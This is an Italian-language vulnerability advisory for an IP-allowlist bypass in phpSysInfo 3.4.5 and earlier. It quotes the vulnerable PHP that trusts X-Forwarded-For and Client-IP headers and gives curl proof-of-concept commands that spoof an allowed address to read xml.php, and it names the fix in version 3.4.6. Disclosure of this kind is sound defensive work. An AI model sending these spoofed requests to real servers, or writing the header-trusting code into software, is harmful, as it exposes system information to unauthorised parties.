
CVE-2026-55584 — Bypass della whitelist IP di phpSysInfo
CWE-290, CVSS 7.5 (Alta), phpSysInfo <= 3.4.5
Riferimenti: GHSA-786w-p5pm-cvgh, CVE.org
PSI_ALLOWED risolve l'IP del client dall'header X-Forwarded-For (poi Client-IP) controllati dall'attaccante prima di ripiegare su REMOTE_ADDR. Non esiste un concetto di proxy affidabile, quindi spoofare un IP consentito supera la lista di indirizzi consentiti ed espone tutte le informazioni di sistema tramite xml.php.
PoC:
# allowlist set to an address the attacker doesn't own (ALLOWED=8.8.8.8)
curl -s http://target/xml.php # "Client IP address (...) not allowed."
curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php # bypass, full XML
curl -s -H "Client-IP: 8.8.8.8" http://target/xml.php # bypass, full XML
Codice vulnerabile (read_config.php):
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} elseif (isset($_SERVER["HTTP_CLIENT_IP"])) {
$ip = $_SERVER["HTTP_CLIENT_IP"];
} else {
$ip = $_SERVER["REMOTE_ADDR"]; // only trustworthy source, checked last
}
Corretto nella 3.4.6 (019fa2d): ora si usa REMOTE_ADDR come default; X-Forwarded-For / Client-IP vengono accettati solo da proxy fidati configurati.
Segnalato da Muhammed Mirac Kayıkci